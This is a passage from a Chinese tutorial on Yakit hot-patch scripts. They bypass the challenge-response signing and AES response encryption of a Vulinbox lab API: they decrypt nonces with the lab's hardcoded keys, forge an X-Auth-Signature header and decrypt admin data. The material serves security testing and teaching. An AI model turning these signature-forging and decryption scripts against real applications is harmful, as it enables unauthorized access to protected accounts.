这段代码本身并不发请求，它只做一件事：把 challenge 响应中的密文解开，然后生成真正需要放进请求头里的签名。

你可以直接在 YAK Runner 这样生成它：

API_AES_KEY = "YakitVulinboxAES"
API_SIGN_KEY = "YakitVulinboxHMACKey-SIGNATURE"
signChallengeResponse = func(packet) {
    body = poc.GetHTTPPacketBody(packet)
    params = json.loads(body)
    challengeBytes = codec.DecodeBase64(params.challenge)~
    ivBytes = codec.DecodeBase64(params.iv)~
    nonce = codec.AESCBCDecrypt(API_AES_KEY, challengeBytes, ivBytes)~
    return codec.EncodeToHex(codec.HmacSha256(API_SIGN_KEY, nonce))
}
challengePacket = <<<TEXT
HTTP/1.1 200 OK
Content-Type: application/json
{"challenge":"ifIYn2ChP6pOaedUtwRg8urjclJJazl2N8eSrcEUo1OZz7+AT+9ERWnJVGxtdQUU","iv":"tYJG4EX4pOICNfXbAT2lkg=="}
TEXT
println(signChallengeResponse(challengePacket))

执行之后，你会得到一段十六进制签名：

c9f36e99b46389cefc289002c02f88548403de96d0facf8a6cc99d1ded27f632

2、把签名手工填回 HTTP Raw 里发请求​

拿到签名之后，可以把上一步的签名填进下面这个请求：

GET /api/user/info HTTP/1.1
Host: 127.0.0.1:18080
X-Auth-Signature: c9f36e99b46389cefc289002c02f88548403de96d0facf8a6cc99d1ded27f632

发送之后，你会拿到一段新的密文响应。格式大致如下：

HTTP/1.1 200 OK
Content-Type: application/json
{"data":"xLZ8ri0BmAqw72zNycPmzSQ1qkJ+QVASKyqy6j/D7rLjRyBwT/Tpn5BJCjLfEMVEReS9iglSFzikuQvL1q+NSwiMCHHWFRyybPyq9oUXd+xR/1xFIxCCoNM8Ud5JG+3HDlW8lJZ4Yo9dM9snojIf3Ks+dHl8kBTD8ePARUllTJ9MwXst/33X23acG27BtPJycvn/bptDTfqKyknPLdIQYwM0ozrteuCTGcjLWH0DtnH2CW8D46PuMtpgXKd9HyRhcBIu+uuY5Z+vSTPe48TwARuhX9FUG/F/odywOW5EalA=","iv":"4DqWSC1nHDF9AX183lb1DQ=="}

3、把受保护响应解成明文​

拿到这段响应之后，我们继续按照同样的思路，写一个只负责解密响应的函数：

API_AES_KEY = "YakitVulinboxAES"
decryptProtectedPacket = func(packet) {
    body = poc.GetHTTPPacketBody(packet)
    params = json.loads(body)
    dataBytes = codec.DecodeBase64(params.data)~
    ivBytes = codec.DecodeBase64(params.iv)~
    plain = codec.AESCBCDecrypt(API_AES_KEY, dataBytes, ivBytes)~
    return string(plain)
}

同样可以把刚才抓到的响应原文直接贴进去验证：

API_AES_KEY = "YakitVulinboxAES"
decryptProtectedPacket = func(packet) {
    body = poc.GetHTTPPacketBody(packet)
    params = json.loads(body)
    dataBytes = codec.DecodeBase64(params.data)~
    ivBytes = codec.DecodeBase64(params.iv)~
    plain = codec.AESCBCDecrypt(API_AES_KEY, dataBytes, ivBytes)~
    return string(plain)
}
responsePacket = <<<TEXT
HTTP/1.1 200 OK
Content-Type: application/json
{"data":"xLZ8ri0BmAqw72zNycPmzSQ1qkJ+QVASKyqy6j/D7rLjRyBwT/Tpn5BJCjLfEMVEReS9iglSFzikuQvL1q+NSwiMCHHWFRyybPyq9oUXd+xR/1xFIxCCoNM8Ud5JG+3HDlW8lJZ4Yo9dM9snojIf3Ks+dHl8kBTD8ePARUllTJ9MwXst/33X23acG27BtPJycvn/bptDTfqKyknPLdIQYwM0ozrteuCTGcjLWH0DtnH2CW8D46PuMtpgXKd9HyRhcBIu+uuY5Z+vSTPe48TwARuhX9FUG/F/odywOW5EalA=","iv":"4DqWSC1nHDF9AX183lb1DQ=="}
TEXT
println(decryptProtectedPacket(responsePacket))

运行之后，你就会得到最终的明文结果：

{"email":"admin@yaklang.io","message":"Congratulations! You have successfully passed the challenge.","permission":"all","used_nonce":"bc13cef03c7d2f3427902e45300cd3d6ca0551afdb3422adb4e639431b0ae6e3","user":"admin"}

到这里为止，才算是真正把这条链路“手工验证”完毕。可以发现，还是比较繁琐的，而且很有"割裂感”，需要在不同的地方跳来跳去，整个调试过程十分不流畅。下面我们看看用全局热加载的方式，如何提升流畅度。

全局加热​

既然整条链路已经清楚，那么热加载脚本最核心的内容其实只有两块：

1、自动获取 challenge 并生成签名。

2、自动解密受保护接口的响应。

1、获取 challenge 并计算签名​

我们先把 challenge 获取和签名计算封装成一个函数。它做的事情非常直接：

1、从当前 HTTP 数据包里取出 Host。

2、构造一个到 /api/get-challenge 的请求。

3、解析返回的 challenge 和 iv。

4、解密出 nonce。

5、用 HMAC-SHA256 计算签名。

代码如下：

fetchChallengeSignature = func(isHttps, packet) {
    host = poc.GetHTTPPacketHeader(packet, "Host")
    if host == "" {
        panic("global hotpatch: request host is empty")
    }
    challengeReq = "GET /api/get-challenge HTTP/1.1\r\n" +
        "Host: " + host + "\r\n" +
        "User-Agent: yak-global-hotpatch-demo\r\n" +
        "Connection: close\r\n\r\n"
    challengeRsp, _ = poc.HTTP(
        challengeReq,
        poc.https(isHttps),
        poc.timeout(5),
        poc.save(false),
    )~
    body = poc.GetHTTPPacketBody(challengeRsp)
    params = json.loads(body)
    challengeBytes = codec.DecodeBase64(params.challenge)~
    ivBytes = codec.DecodeBase64(params.iv)~
    nonce = codec.AESCBCDecrypt(API_AES_KEY, challengeBytes, ivBytes)~
    return codec.EncodeToHex(codec.HmacSha256(API_SIGN_KEY, nonce))
}

在这个函数里，最重要的返回值就是最终的 signature。、

后面无论是 Web Fuzzer 还是 MITM，只要请求命中了目标接口，都可以复用这段逻辑。

2、解密受保护接口响应​

第二个函数负责对响应做还原。这个函数要处理的是 /api/user/info 返回的 data + iv 结构：

decryptProtectedResponse = func(packet) {
    body = string(poc.GetHTTPPacketBody(packet))
    if !str.Contains(body, `"data"`) || !str.Contains(body, `"iv"`) {
        return packet
    }
    params = json.loads(body)
    dataBytes = codec.DecodeBase64(params.data)~
    ivBytes = codec.DecodeBase64(params.iv)~
    plain = codec.AESCBCDecrypt(API_AES_KEY, dataBytes, ivBytes)~
    return poc.ReplaceHTTPPacketBody(packet, plain)
}

这段代码做了三件事：

1、取出 HTTP Body。

2、解析 data 和 iv。

3、解密之后，把 HTTP Body 替换成明文。

这里的重点不在“会不会 AES-CBC 解密”，而在于它返回的是一个新的 HTTP 数据包。也就是说，这个函数不是只给你一个字符串，而是可以直接继续往热加载链路里传递。

把函数挂到全局热加载链路里​

有了上面两个函数之后，下面就是最关键的一步：决定它们应该挂在哪些 Hook 上。

1、beforeRequest 负责自动补签名​

在请求发出去之前，如果发现当前目标是 /api/user/info，就先调用 fetchChallengeSignature，然后把签名补进请求头：

beforeRequest = func(isHttps, originReq, req) {
    if !isTargetRequest(isHttps, req) {
        return req
    }
    signature = fetchChallengeSignature(isHttps, req)
    req = poc.ReplaceHTTPPacketHeader(req, "X-Auth-Signature", signature)
    return req
}

这个 Hook 的意义很明确：用户在 Fuzzer 里不需要手工先跑 challenge，只需要发原始业务请求即可。

2、afterRequest 负责按需解密在线响应​

如果我们总是在在线链路里把响应改成明文，会有一个现实问题：浏览器前端可能本来期望收到的是密文 JSON，强行改成明文后，前端自己的解密流程反而会报错。

所以这里不适合无条件解密在线响应。更稳妥的办法是，加一个只给 YAK 自己看的开关：

PLAINTEXT_HEADER = "X-Yak-Force-Plaintext"
afterRequest = func(isHttps, originReq, req, originRsp, rsp) {
    if !isTargetRequest(isHttps, req) {
        return rsp
    }
    if poc.GetHTTPPacketHeader(req, PLAINTEXT_HEADER) != "1" {
        return rsp
    }
    return decryptProtectedResponse(rsp)
}

这样一来：

1、Web Fuzzer 想直接看明文时，可以主动带上 X-Yak-Force-Plaintext: 1。

2、普通在线流量如果没有这个标记，就不会被强行改写，而是通过下面的hijackSaveHTTPFlow 方式，在 Yakit中显示明文

此处添加 X-Yak-Force-Plaintext 只是为了让用户理解 afterRequest，本质上可以不需要额外添加这个 header

3、hijackSaveHTTPFlow 负责让 MITM 存库结果可读​

MITM 的目标和 Web Fuzzer 不完全一样。对于 MITM 来说，很多时候更重要的是“保存到数据库里的流量是否容易分析”，而不是真的将明文返回给服务器。

因此这里更合适的做法是：

1、不破坏浏览器真实收到的响应。

2、只在保存 HTTP Flow 时，把响应改写成明文。

代码如下：

hijackSaveHTTPFlow = func(flow, modify, drop) {
    req = codec.StrconvUnquote(flow.Request)~
    if !isTargetRequest(false, req) && !isTargetRequest(true, req) {
        modify(flow)
        return
    }
    rsp = codec.StrconvUnquote(flow.Response)~
    flow.Response = codec.StrconvQuote(string(decryptProtectedResponse(rsp)))
    modify(flow)
}

这段设计有一个实际好处：浏览器继续按原来的协议和前端 JS 正常工作，但 MITM 数据库里保存下来的已经是可读的明文内容，它的工作流程如下：

• 只要请求命中了 /api/user/info
• 就把 flow.Response 取出来解密
• 然后把解密后的内容重新写回 flow.Response

完整可用脚本​

// Vulinbox 动态挑战响应 API 全局热加载示例
// 适用场景：
// 1. Web Fuzzer 直接发明文请求，由全局热加载自动补签名
// 2. Web Fuzzer 在请求头中带上 X-Yak-Force-Plaintext: 1 时，自动解密响应
// 3. MITM 不改动在线流量，但会把保存到数据库的响应改写成明文，便于观察
API_AES_KEY = "YakitVulinboxAES"
API_SIGN_KEY = "YakitVulinboxHMACKey-SIGNATURE"
TARGET_PATH = "/api/user/info"
CHALLENGE_PATH = "/api/get-challenge"
PLAINTEXT_HEADER = "X-Yak-Force-Plaintext"
isTargetRequest = func(isHttps, packet) {
    u, err = str.ExtractURLFromHTTPRequestRaw(packet, isHttps)
    if err != nil {
        return false
    }
    return str.Contains(u.String(), TARGET_PATH)
}
shouldRewriteResponse = func(packet) {
    return poc.GetHTTPPacketHeader(packet, PLAINTEXT_HEADER) == "1"
}
fetchChallengeSignature = func(isHttps, packet) {
    host = poc.GetHTTPPacketHeader(packet, "Host")
    if host == "" {
        panic("global hotpatch: request host is empty")
    }
    challengeReq = "GET " + CHALLENGE_PATH + " HTTP/1.1\r\n" +
        "Host: " + host + "\r\n" +
        "User-Agent: yak-global-hotpatch-demo\r\n" +
        "Connection: close\r\n\r\n"
    challengeRsp, _ = poc.HTTP(
        challengeReq,
        poc.https(isHttps),
        poc.timeout(5),
        poc.save(false),
    )~
    body = poc.GetHTTPPacketBody(challengeRsp)
    params = json.loads(body)
    if !("challenge" in params) || !("iv" in params) {
        panic("global hotpatch: challenge response missing challenge/iv")
    }
    challengeBytes = codec.DecodeBase64(params.challenge)~
    ivBytes = codec.DecodeBase64(params.iv)~
    nonce = codec.AESCBCDecrypt(API_AES_KEY, challengeBytes, ivBytes)~
    return codec.EncodeToHex(codec.HmacSha256(API_SIGN_KEY, nonce))
}
decryptProtectedResponse = func(packet) {
    body = string(poc.GetHTTPPacketBody(packet))
    if !str.Contains(body, `"data"`) || !str.Contains(body, `"iv"`) {
        return packet
    }
    params = json.loads(body)
    if !("data" in params) || !("iv" in params) {
        return packet
    }
    dataBytes = codec.DecodeBase64(params.data)~
    ivBytes = codec.DecodeBase64(params.iv)~
    plain = codec.AESCBCDecrypt(API_AES_KEY, dataBytes, ivBytes)~
    return poc.ReplaceHTTPPacketBody(packet, plain)
}
beforeRequest = func(isHttps, originReq, req) {
    if !isTargetRequest(isHttps, req) {
        return req
    }
    signature = fetchChallengeSignature(isHttps, req)
    req = poc.ReplaceHTTPPacketHeader(req, "X-Auth-Signature", signature)
    return req
}
afterRequest = func(isHttps, originReq, req, originRsp, rsp) {
    if !isTargetRequest(isHttps, req) {
        return rsp
    }
    if !shouldRewriteResponse(req) {
        return rsp
    }
    return decryptProtectedResponse(rsp)
}
hijackSaveHTTPFlow = func(flow, modify, drop) {
    req = codec.StrconvUnquote(flow.Request)~
    if !isTargetRequest(false, req) && !isTargetRequest(true, req) {
        modify(flow)
        return
    }
    rsp = codec.StrconvUnquote(flow.Response)~
    flow.Response = codec.StrconvQuote(string(decryptProtectedResponse(rsp)))
    modify(flow)
}